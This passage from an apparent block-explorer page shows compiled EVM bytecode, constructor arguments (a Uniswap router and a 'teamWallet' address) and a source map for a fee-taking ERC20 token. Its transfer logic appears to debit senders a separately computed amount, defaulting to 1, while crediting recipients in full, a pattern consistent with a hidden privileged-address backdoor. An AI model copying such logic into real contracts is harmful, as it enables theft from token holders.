7b2e85cb44cf6106456009600a6118cf565b61065390633b9aca006118dd565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461068f5760405162461bcd60e51b8152600401610464906117a6565b6014805462ff00ff191662010001179055565b5f546001600160a01b031633146106cb5760405162461bcd60e51b8152600401610464906117a6565b60145460ff161561071e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b60085461074a9030906001600160a01b031661073c6009600a6118cf565b61053590633b9aca006118dd565b60085f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be91906118f4565b6001600160a01b031663c9c653963060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084191906118f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561088b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108af91906118f4565b600980546001600160a01b039283166001600160a01b0319909116811782555f908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556008541663f305d719473061092d816001600160a01b03165f9081526001602052604090205490565b5f806109405f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109cb919061190f565b505060095460085460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a20573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a4919061193a565b5f6104b3338484610c5a565b5f546001600160a01b03163314610a795760405162461bcd60e51b8152600401610464906117a6565b6001600160a01b038116610ade5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610464565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b995760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610bfa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cbe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6005546001600160a01b03908116908316610d275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b6001600160a01b03841682610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b60015f610da45f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610dd257505f546001600160a01b03878116911614155b8015610de757506001600160a01b0387163014155b156111bc578383039150610e1d6064610e17600c5460135411610e0c57600654610e10565b600a545b8890611342565b906113c7565b6001600160a01b0388165f9081526004602052604090205490915060ff168015610e5557506008546001600160a01b03878116911614155b8015610e7957506001600160a01b0386165f9081526003602052604090205460ff16155b15610fa75760145460ff16610ec65760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b6044820152606401610464565b600f54851115610f185760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610464565b60105485610f3a886001600160a01b03165f9081526001602052604090205490565b610f449190611959565b1115610f925760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b60138054905f610fa18361196c565b91905055505b6001600160a01b0386165f9081526004602052604090205460ff16158015610fe757506001600160a01b0386165f9081526003602052604090205460ff16155b15611066576010548561100e886001600160a01b03165f9081526001602052604090205490565b6110189190611959565b11156110665760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b6001600160a01b0386165f9081526004602052604090205460ff16156110ae576110ab6064610e17600d54601354116110a157600754610e10565b600b548890611342565b90505b6001600160a01b0387165f9081526004602052604090205460ff161580156110ee57506001600160a01b0386165f9081526004602052604090205460ff16155b156110f657505f5b305f90815260016020526040902054821561111057600192505b601454610100900460ff1615801561113f57506001600160a01b0387165f9081526004602052604090205460ff165b8015611153575060145462010000900460ff165b8015611160575060115481115b801561116f5750600e54601354115b156111915761119161118c8761118784601254611408565b611408565b61141c565b6001600160a01b0387165f9081526004602052604090205460ff16156111ba576111ba47611586565b505b5f6111c786846118dd565b9050811561124157305f908152600160205260409020546111e890836115c1565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112389086815260200190565b60405180910390a35b6001600160a01b0388165f90815260016020526040902054611263908261161f565b6001600160a01b0389165f908152600160205260409020556112a6611288878461161f565b6001600160a01b0389165f90815260016020526040902054906115c1565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ef898661161f565b60405190815260200160405180910390a35050505050505050565b5f818484111561132d5760405162461bcd60e51b8152600401610464919061168c565b505f6113398486611984565b95945050505050565b5f825f0361135157505f6104b7565b5f61135c83856118dd565b9050826113698583611997565b146113c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b5f6113c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611660565b5f81831161141657826113c0565b50919050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061145e5761145e6119b6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114d991906118f4565b816001815181106114ec576114ec6119b6565b6001600160a01b0392831660209182029290920101526008546115129130911684610b37565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac9479061154a9085905f908690309042906004016119ca565b5f604051808303815f87803b158015611561575f80fd5b505af1158015611573573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156115bd573d5f803e3d5ffd5b5050565b5f806115cd8385611959565b9050838110156113c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f6113c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130a565b5f81836116805760405162461bcd60e51b8152600401610464919061168c565b505f6113398486611997565b5f602080835283518060208501525f5b818110156116b85785810183015185820160400152820161169c565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104a4575f80fd5b5f80604083850312156116fd575f80fd5b8235611708816116d8565b946020939093013593505050565b5f805f60608486031215611728575f80fd5b8335611733816116d8565b92506020840135611743816116d8565b929592945050506040919091013590565b5f60208284031215611764575f80fd5b81356113c0816116d8565b5f8060408385031215611780575f80fd5b823561178b816116d8565b9150602083013561179b816116d8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561182957815f190482111561180f5761180f6117db565b8085161561181c57918102915b93841c93908002906117f4565b509250929050565b5f8261183f575060016104b7565b8161184b57505f6104b7565b8160018114611861576002811461186b57611887565b60019150506104b7565b60ff84111561187c5761187c6117db565b50506001821b6104b7565b5060208310610133831016604e8410600b84101617156118aa575081810a6104b7565b6118b483836117ef565b805f19048211156118c7576118c76117db565b029392505050565b5f6113c060ff841683611831565b80820281158282048414176104b7576104b76117db565b5f60208284031215611904575f80fd5b81516113c0816116d8565b5f805f60608486031215611921575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561194a575f80fd5b815180151581146113c0575f80fd5b808201808211156104b7576104b76117db565b5f6001820161197d5761197d6117db565b5060010190565b818103818111156104b7576104b76117db565b5f826119b157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a1a5784516001600160a01b0316835293830193918301916001016119f5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f214c9e332c5e5496a9ba85996fcd04716286c1bec254900cec04d5c335ddf2764736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000b40e402c8d3fa34a05433e18879df26124c09d42
-----Decoded View---------------
Arg [0] : uniV2Router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : teamWallet (address): 0xb40E402c8D3Fa34A05433E18879Df26124c09D42
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000b40e402c8d3fa34a05433e18879df26124c09d42
Deployed Bytecode Sourcemap
4135:8830:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11648:108;;;;;;;;;;;;;:::i;:::-;;6129:83;;;;;;;;;;-1:-1:-1;6199:5:0;;;;;;;;;;;;-1:-1:-1;;;6199:5:0;;;;6129:83;;;;;;;:::i;:::-;;;;;;;;6812:186;;;;;;;;;;-1:-1:-1;6812:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6812:186:0;1023:187:1;5333:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5333:57:0;1215:177:1;6406:95:0;;;;;;;;;;;;;:::i;7208:446::-;;;;;;;;;;-1:-1:-1;7208:446:0;;;;;:::i;:::-;;:::i;6315:83::-;;;;;;;;;;-1:-1:-1;6315:83:0;;4704:1;2000:36:1;;1988:2;1973:18;6315:83:0;1858:184:1;4632:28:0;;;;;;;;;;-1:-1:-1;4632:28:0;;;;-1:-1:-1;;;;;4632:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4632:28:0;2047:203:1;4403:48:0;;;;;;;;;;-1:-1:-1;4403:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6509:119;;;;;;;;;;-1:-1:-1;6509:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;2664:148;;;;;;;;;;;;;:::i;11764:162::-;;;;;;;;;;;;;:::i;5131:58::-;;;;;;;;;;;;;;;;12815:110;;;;;;;;;;;;;:::i;3109:79::-;;;;;;;;;;-1:-1:-1;3147:7:0;3174:6;-1:-1:-1;;;;;3174:6:0;3109:79;;5196:60;;;;;;;;;;;;;;;;6220:87;;;;;;;;;;-1:-1:-1;6292:7:0;;;;;;;;;;;;-1:-1:-1;;;6292:7:0;;;;6220:87;;12032:775;;;;;;;;;;;;;:::i;7006:192::-;;;;;;;;;;-1:-1:-1;7006:192:0;;;;;:::i;:::-;;:::i;5263:63::-;;;;;;;;;;;;;;;;6636:168;;;;;;;;;;-1:-1:-1;6636:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6769:18:0;;;6742:7;6769:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6636:168;2820:281;;;;;;;;;;-1:-1:-1;2820:281:0;;;;;:::i;:::-;;:::i;11648:108::-;3236:6;;-1:-1:-1;;;;;3236:6:0;281:10;3236:22;3228:67;;;;-1:-1:-1;;;3228:67:0;;;;;;;:::i;:::-;;;;;;;;;3147:7;3174:6;;11700:48:::1;::::0;-1:-1:-1;;;;;3174:6:0;;;;11726:21:::1;11700:48:::0;::::1;;;::::0;11726:21;;11700:48;3147:7;11700:48;11726:21;3174:6;11700:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11648:108::o:0;6812:186::-;6912:4;6929:39;281:10;6952:7;6961:6;6929:8;:39::i;:::-;-1:-1:-1;6986:4:0;6812:186;;;;;:::o;6406:95::-;6459:7;4763:15;4704:1;4763:2;:15;:::i;:::-;4747:31;;:13;:31;:::i;:::-;6479:14;;6406:95;:::o;7208:446::-;7340:4;7357:36;7367:6;7375:9;7386:6;7357:9;:36::i;:::-;7404:220;7427:6;281:10;7475:138;7531:6;7475:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7475:19:0;;;;;;:11;:19;;;;;;;;281:10;7475:33;;;;;;;;;;:37;:138::i;:::-;7404:8;:220::i;:::-;-1:-1:-1;7642:4:0;7208:446;;;;;:::o;2664:148::-;3236:6;;-1:-1:-1;;;;;3236:6:0;281:10;3236:22;3228:67;;;;-1:-1:-1;;;3228:67:0;;;;;;;:::i;:::-;2771:1:::1;2755:6:::0;;2734:40:::1;::::0;-1:-1:-1;;;;;2755:6:0;;::::1;::::0;2734:40:::1;::::0;2771:1;;2734:40:::1;2802:1;2785:19:::0;;-1:-1:-1;;;;;;2785:19:0::1;::::0;;2664:148::o;11764:162::-;3236:6;;-1:-1:-1;;;;;3236:6:0;281:10;3236:22;3228:67;;;;-1:-1:-1;;;3228:67:0;;;;;;;:::i;:::-;4763:15:::1;4704:1;4763:2;:15;:::i;:::-;4747:31;::::0;:13:::1;:31;:::i;:::-;11818:12;:22:::0;4763:15:::1;4704:1;4763:2;:15;:::i;:::-;4747:31;::::0;:13:::1;:31;:::i;:::-;11851:14;:24:::0;11891:27:::1;4763:15;4704:1;4763:2;:15;:::i;:::-;4747:31;::::0;:13:::1;:31;:::i;:::-;11891:27;::::0;1361:25:1;;;1349:2;1334:18;11891:27:0::1;;;;;;;11764:162::o:0;12815:110::-;3236:6;;-1:-1:-1;;;;;3236:6:0;281:10;3236:22;3228:67;;;;-1:-1:-1;;;3228:67:0;;;;;;;:::i;:::-;12870:11:::1;:18:::0;;-1:-1:-1;;12899:18:0;;;;;12815:110::o;12032:775::-;3236:6;;-1:-1:-1;;;;;3236:6:0;281:10;3236:22;3228:67;;;;-1:-1:-1;;;3228:67:0;;;;;;;:::i;:::-;12093:11:::1;::::0;::::1;;12092:12;12084:48;;;::::0;-1:-1:-1;;;12084:48:0;;5145:2:1;12084:48:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12084:48:0::1;4943:347:1::0;12084:48:0::1;12175:15;::::0;12143:58:::1;::::0;12160:4:::1;::::0;-1:-1:-1;;;;;12175:15:0::1;4763;4704:1;4763:2;:15;:::i;:::-;4747:31;::::0;:13:::1;:31;:::i;12143:58::-;12242:15;;;;;;;;;-1:-1:-1::0;;;;;12242:15:0::1;-1:-1:-1::0;;;;;12242:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12228:51:0::1;;12306:4;12330:15;;;;;;;;;-1:-1:-1::0;;;;;12330:15:0::1;-1:-1:-1::0;;;;;12330:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12228:139;::::0;-1:-1:-1;;;;;;12228:139:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;12228:139:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;12228:139:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12212:13;:155:::0;;-1:-1:-1;;;;;12212:155:0;;::::1;-1:-1:-1::0;;;;;;12212:155:0;;::::1;::::0;::::1;::::0;;:13:::1;12378:40:::0;;;:16:::1;:40;::::0;;;;;;;:47;;-1:-1:-1;;12378:47:0;;::::1;12212:155:::0;12378:47;;::::1;::::0;;;12461:13;;;::::1;12436:40:::0;;:16:::1;:40:::0;;;;;;:47;;;;::::1;;::::0;;12494:15:::1;::::0;::::1;:31;12533:21;12578:4;12598:24;12578:4:::0;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;12598:24:::1;12637:1;12653::::0;12669:7:::1;3147::::0;3174:6;-1:-1:-1;;;;;3174:6:0;;3109:79;12669:7:::1;12494:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12494:223:0;;;-1:-1:-1;;;;;6219:15:1;;;12494:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;12691:15:0::1;6433:19:1::0;;;6426:35;6135:19;;12494:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12735:13:0::1;::::0;12766:15:::1;::::0;12728:71:::1;::::0;-1:-1:-1;;;12728:71:0;;-1:-1:-1;;;;;12766:15:0;;::::1;12728:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;12735:13:0;::::1;::::0;-1:-1:-1;12728:29:0::1;::::0;6930:18:1;;12728:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;7006:192::-:0;7109:4;7126:42;281:10;7150:9;7161:6;7126:9;:42::i;2820:281::-;3236:6;;-1:-1:-1;;;;;3236:6:0;281:10;3236:22;3228:67;;;;-1:-1:-1;;;3228:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2923:22:0;::::1;2901:110;;;::::0;-1:-1:-1;;;2901:110:0;;7546:2:1;2901:110:0::1;::::0;::::1;7528:21:1::0;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:36;7721:19;;2901:110:0::1;7344:402:1::0;2901:110:0::1;3048:6;::::0;;3027:38:::1;::::0;-1:-1:-1;;;;;3027:38:0;;::::1;::::0;3048:6;::::1;::::0;3027:38:::1;::::0;::::1;3076:6;:17:::0;;-1:-1:-1;;;;;;3076:17:0::1;-1:-1:-1::0;;;;;3076:17:0;;;::::1;::::0;;;::::1;::::0;;2820:281::o;7662:335::-;-1:-1:-1;;;;;7755:19:0;;7747:68;;;;-1:-1:-1;;;7747:68:0;;7953:2:1;7747:68:0;;;7935:21:1;7992:2;7972:18;;;7965:30;8031:34;8011:18;;;8004:62;-1:-1:-1;;;8082:18:1;;;8075:34;8126:19;;7747:68:0;7751:400:1;7747:68:0;-1:-1:-1;;;;;7834:21:0;;7826:68;;;;-1:-1:-1;;;7826:68:0;;8358:2:1;7826:68:0;;;8340:21:1;8397:2;8377:18;;;8370:30;8436:34;8416:18;;;8409:62;-1:-1:-1;;;8487:18:1;;;8480:32;8529:19;;7826:68:0;8156:398:1;7826:68:0;-1:-1:-1;;;;;7905:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7957:32;;1361:25:1;;;7957:32:0;;1334:18:1;7957:32:0;;;;;;;7662:335;;;:::o;8005:3029::-;-1:-1:-1;;;;;8093:18:0;;8085:68;;;;-1:-1:-1;;;8085:68:0;;8761:2:1;8085:68:0;;;8743:21:1;8800:2;8780:18;;;8773:30;8839:34;8819:18;;;8812:62;-1:-1:-1;;;8890:18:1;;;8883:35;8935:19;;8085:68:0;8559:401:1;8085:68:0;8201:10;;-1:-1:-1;;;;;8201:10:0;;;;8233:16;;8225:64;;;;-1:-1:-1;;;8225:64:0;;9167:2:1;8225:64:0;;;9149:21:1;9206:2;9186:18;;;9179:30;9245:34;9225:18;;;9218:62;-1:-1:-1;;;9296:18:1;;;9289:33;9339:19;;8225:64:0;8965:399:1;8225:64:0;-1:-1:-1;;;;;8312:22:0;;8353:10;8345:64;;;;-1:-1:-1;;;8345:64:0;;9571:2:1;8345:64:0;;;9553:21:1;9610:2;9590:18;;;9583:30;9649:34;9629:18;;;9622:62;-1:-1:-1;;;9700:18:1;;;9693:39;9749:19;;8345:64:0;9369:405:1;8345:64:0;8437:1;8411:23;8493:7;3147;3174:6;-1:-1:-1;;;;;3174:6:0;;3109:79;8493:7;-1:-1:-1;;;;;8485:15:0;:4;-1:-1:-1;;;;;8485:15:0;;;:32;;;;-1:-1:-1;3147:7:0;3174:6;-1:-1:-1;;;;;8504:13:0;;;3174:6;;8504:13;;8485:32;:57;;;;-1:-1:-1;;;;;;8521:21:0;;8537:4;8521:21;;8485:57;8481:2120;;;8587:11;8574:10;:24;8556:42;;8626:168;8790:3;8626:141;8650:15;;8638:9;;:27;8637:111;;8734:14;;8637:111;;;8694:12;;8637:111;8626:6;;:10;:141::i;:::-;:163;;:168::i;:::-;-1:-1:-1;;;;;8833:22:0;;;;;;:16;:22;;;;;;8614:180;;-1:-1:-1;8833:22:0;;:73;;;;-1:-1:-1;8890:15:0;;-1:-1:-1;;;;;8876:30:0;;;8890:15;;8876:30;;8833:73;:115;;;;-1:-1:-1;;;;;;8928:20:0;;;;;;:16;:20;;;;;;;;8927:21;8833:115;8811:501;;;8991:11;;;;8983:43;;;;-1:-1:-1;;;8983:43:0;;9981:2:1;8983:43:0;;;9963:21:1;10020:2;10000:18;;;9993:30;-1:-1:-1;;;10039:18:1;;;10032:49;10098:18;;8983:43:0;9779:343:1;8983:43:0;9063:12;;9053:6;:22;;9045:60;;;;-1:-1:-1;;;9045:60:0;;10329:2:1;9045:60:0;;;10311:21:1;10368:2;10348:18;;;10341:30;10407:27;10387:18;;;10380:55;10452:18;;9045:60:0;10127:349:1;9045:60:0;9180:14;;9170:6;9154:13;9164:2;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;9154:13;:22;;;;:::i;:::-;:40;;9124:140;;;;-1:-1:-1;;;9124:140:0;;10813:2:1;9124:140:0;;;10795:21:1;10852:2;10832:18;;;10825:30;10891:28;10871:18;;;10864:56;10937:18;;9124:140:0;10611:350:1;9124:140:0;9285:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8811:501;-1:-1:-1;;;;;9333:20:0;;;;;;:16;:20;;;;;;;;9332:21;:46;;;;-1:-1:-1;;;;;;9358:20:0;;;;;;:16;:20;;;;;;;;9357:21;9332:46;9328:227;;;9455:14;;9445:6;9429:13;9439:2;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;9429:13;:22;;;;:::i;:::-;:40;;9399:140;;;;-1:-1:-1;;;9399:140:0;;10813:2:1;9399:140:0;;;10795:21:1;10852:2;10832:18;;;10825:30;10891:28;10871:18;;;10864:56;10937:18;;9399:140:0;10611:350:1;9399:140:0;-1:-1:-1;;;;;9575:20:0;;;;;;:16;:20;;;;;;;;9571:308;;;9628:235;9859:3;9628:204;9700:16;;9688:9;;:28;9687:122;;9794:15;;9687:122;;;9749:13;;9628:6;;:32;:204::i;:235::-;9616:247;;9571:308;-1:-1:-1;;;;;9900:22:0;;;;;;:16;:22;;;;;;;;9899:23;:48;;;;-1:-1:-1;;;;;;9927:20:0;;;;;;:16;:20;;;;;;;;9926:21;9899:48;9895:102;;;-1:-1:-1;9980:1:0;9895:102;10062:4;10013:28;6602:18;;;:9;:18;;;;;;10087:19;;10083:44;;10126:1;10108:19;;10083:44;10165:6;;;;;;;10164:7;:48;;;;-1:-1:-1;;;;;;10192:20:0;;;;;;:16;:20;;;;;;;;10164:48;:80;;;;-1:-1:-1;10233:11:0;;;;;;;10164:80;:141;;;;;10288:17;;10265:20;:40;10164:141;:192;;;;;10338:18;;10326:9;;:30;10164:192;10142:374;;;10391:109;10430:51;10434:6;10442:38;10446:20;10468:11;;10442:3;:38::i;:::-;10430:3;:51::i;:::-;10391:16;:109::i;:::-;-1:-1:-1;;;;;10534:20:0;;;;;;:16;:20;;;;;;;;10530:59;;;10556:33;10567:21;10556:10;:33::i;:::-;8544:2057;8481:2120;10611:19;10633:24;10651:6;10633:15;:24;:::i;:::-;10611:46;-1:-1:-1;10674:13:0;;10670:172;;10749:4;10731:24;;;;:9;:24;;;;;;:39;;10760:9;10731:28;:39::i;:::-;10722:4;10704:24;;;;:9;:24;;;;;;;:66;;;;10790:40;;-1:-1:-1;;;;;10790:40:0;;;;;;;10820:9;1361:25:1;;1349:2;1334:18;;1215:177;10790:40:0;;;;;;;;10670:172;-1:-1:-1;;;;;10870:15:0;;;;;;:9;:15;;;;;;:32;;10890:11;10870:19;:32::i;:::-;-1:-1:-1;;;;;10852:15:0;;;;;;:9;:15;;;;;:50;10929:40;10947:21;:6;10958:9;10947:10;:21::i;:::-;-1:-1:-1;;;;;10929:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10913:13:0;;;;;;;:9;:13;;;;;:56;;;;10985:41;;;11004:21;:6;11015:9;11004:10;:21::i;:::-;10985:41;;1361:25:1;;;1349:2;1334:18;10985:41:0;;;;;;;8074:2960;;;;;8005:3029;;;:::o;1466:224::-;1586:7;1622:12;1614:6;;;;1606:29;;;;-1:-1:-1;;;1606:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1646:9:0;1658:5;1662:1;1658;:5;:::i;:::-;1646:17;1466:224;-1:-1:-1;;;;;1466:224:0:o;1698:246::-;1756:7;1780:1;1785;1780:6;1776:47;;-1:-1:-1;1810:1:0;1803:8;;1776:47;1833:9;1845:5;1849:1;1845;:5;:::i;:::-;1833:17;-1:-1:-1;1878:1:0;1869:5;1873:1;1833:17;1869:5;:::i;:::-;:10;1861:56;;;;-1:-1:-1;;;1861:56:0;;11663:2:1;1861:56:0;;;11645:21:1;11702:2;11682:18;;;11675:30;11741:34;11721:18;;;11714:62;-1:-1:-1;;;11792:18:1;;;11785:31;11833:19;;1861:56:0;11461:397:1;1861:56:0;1935:1;1698:246;-1:-1:-1;;;1698:246:0:o;2183:132::-;2241:7;2268:39;2272:1;2275;2268:39;;;;;;;;;;;;;;;;;:3;:39::i;11042:107::-;11099:7;11131:1;11127;:5;11126:15;;11140:1;11126:15;;;-1:-1:-1;11136:1:0;11042:107;-1:-1:-1;11042:107:0:o;11157:483::-;5625:6;:13;;-1:-1:-1;;5625:13:0;;;;;11259:16:::1;::::0;;11273:1:::1;11259:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11259:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11259:16:0::1;11235:40;;11304:4;11286;11291:1;11286:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11286:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11330:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11330:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11286:7;;11330:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11320:4;11325:1;11320:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11320:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11395:15:::1;::::0;11363:62:::1;::::0;11380:4:::1;::::0;11395:15:::1;11413:11:::0;11363:8:::1;:62::i;:::-;11436:15;::::0;:196:::1;::::0;-1:-1:-1;;;11436:196:0;;-1:-1:-1;;;;;11436:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11517:11;;11436:15:::1;::::0;11559:4;;11586::::1;::::0;11606:15:::1;::::0;11436:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5661:6:0;:14;;-1:-1:-1;;5661:14:0;;;-1:-1:-1;;;;11157:483:0:o;11934:90::-;11989:10;;:27;;-1:-1:-1;;;;;11989:10:0;;;;:27;;;;;12009:6;;11989:10;:27;:10;:27;12009:6;11989:10;:27;;;;;;;;;;;;;;;;;;;;;11934:90;:::o;1135:179::-;1193:7;;1225:5;1229:1;1225;:5;:::i;:::-;1213:17;;1254:1;1249;:6;;1241:46;;;;-1:-1:-1;;;1241:46:0;;13314:2:1;1241:46:0;;;13296:21:1;13353:2;13333:18;;;13326:30;13392:29;13372:18;;;13365:57;13439:18;;1241:46:0;13112:351:1;1322:136:0;1380:7;1407:43;1411:1;1414;1407:43;;;;;;;;;;;;;;;;;:3;:43::i;1952:223::-;2072:7;2107:12;2100:5;2092:28;;;;-1:-1:-1;;;2092:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2131:9:0;2143:5;2147:1;2143;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;